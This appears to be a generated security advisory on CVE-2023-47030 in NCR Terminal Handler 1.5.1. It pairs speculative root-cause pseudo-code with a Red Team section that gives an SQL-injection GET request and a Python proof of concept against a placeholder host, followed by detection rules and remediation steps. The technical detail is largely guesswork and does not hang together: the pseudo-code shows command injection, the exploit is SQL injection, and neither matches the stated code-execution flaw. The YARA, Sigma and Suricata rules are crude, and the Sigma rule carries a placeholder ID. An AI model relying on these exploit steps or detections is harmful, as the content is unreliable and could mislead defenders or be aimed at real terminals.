CVE-2023-47030

Executive Summary

CVE-2023-47030 is a security advisory affecting NCR Terminal Handler version 1.5.1. The vulnerability allows a remote attacker to execute arbitrary code and obtain sensitive information via a crafted GET request to a UserService SOAP API endpoint, which validates user existence. This issue is currently unpatched, with no official fix available from the vendor. The attack vector is network-based, requires no authentication, and can lead to full system compromise and data exposure.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary NCR software component used in terminal handling systems.

CVSS Breakdown & Threat Level

The CVSS score is reported as 0.0, which is likely a placeholder or uncalculated value. Based on the description, the vulnerability would likely score high (8.0-9.0) due to:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. The ability to execute arbitrary code and obtain sensitive information without authentication makes this a high-priority vulnerability.

Deep Dive & Mechanics

The vulnerability resides in the UserService SOAP API endpoint of NCR Terminal Handler v1.5.1. The endpoint is designed to validate if a user exists, but it improperly handles GET requests. An attacker can send a specially crafted GET request to this endpoint, which triggers arbitrary code execution and information disclosure.

The root cause is likely insufficient input validation and lack of proper authentication/authorization checks on the SOAP endpoint. The GET request may be processed by a handler that interprets user-supplied data as code or queries, leading to injection vulnerabilities.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable endpoint likely processes GET parameters without sanitization:

# Vulnerable pseudo-code
def handle_user_service(request):
    username = request.GET.get('username')
    # Directly using username in a system call or query
    result = os.system(f"validate_user {username}")
    return result

A patched version would include input validation, parameterized queries, and authentication:

# Patched pseudo-code
def handle_user_service(request):
    if not request.user.is_authenticated:
        return HttpResponseForbidden()
    username = sanitize_input(request.GET.get('username'))
    result = validate_user_safe(username)
    return result

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify the target running NCR Terminal Handler v1.5.1.
2. Send a crafted GET request to the UserService SOAP endpoint:

   GET /UserService?username=admin' OR '1'='1 HTTP/1.1
   Host: target.com
   

3. Observe the response for user existence validation and potential code execution.

Proof-of-Concept (PoC):

import requests

target = "http://target.com/UserService"
payload = {"username": "admin' OR '1'='1"}
response = requests.get(target, params=payload)
print(response.text)

Blue Team

Detection and Response:

• Monitor for unusual GET requests to /UserService or similar SOAP endpoints.
• Look for patterns of SQL injection or command injection in request parameters.
• Implement Web Application Firewall (WAF) rules to block suspicious GET requests to SOAP endpoints.

Hunting Queries:

• Search logs for GET /UserService with parameters containing SQL keywords or shell metacharacters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /UserService with unusual parameters.
  • Outbound connections from the terminal handler to unknown IPs.
• File IOCs:
  • Unexpected files in the terminal handler directory.
  • Modified configuration files.
• System IOCs:
  • Unusual processes spawned by the terminal handler.
  • Unexpected user accounts created.

Detection Engineering

YARA Rule

rule CVE_2023_47030_NCR_Terminal_Handler {
    meta:
        description = "Detects exploitation attempts for CVE-2023-47030"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "UserService" ascii wide nocase
        $s2 = "validateUser" ascii wide nocase
        $s3 = "GET" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-47030 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects GET requests to NCR Terminal Handler UserService endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/UserService'
    condition: selection
falsepositives:
    - Legitimate admin requests
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-47030 NCR Terminal Handler Exploit"; flow:to_server,established; content:"GET"; http_method; content:"/UserService"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network if possible.
2. Implement strict access controls to the UserService endpoint.
3. Deploy a WAF with rules to block suspicious GET requests to SOAP endpoints.

Long-term Fix:

• Contact NCR for an official patch or upgrade to a newer version.
• If no patch is available, consider disabling the UserService endpoint or replacing the terminal handler with an alternative solution.

Compensating Controls:

• Use network segmentation to limit exposure.
• Enable detailed logging and monitoring for the affected endpoint.
• Conduct regular vulnerability scans.

Valters IT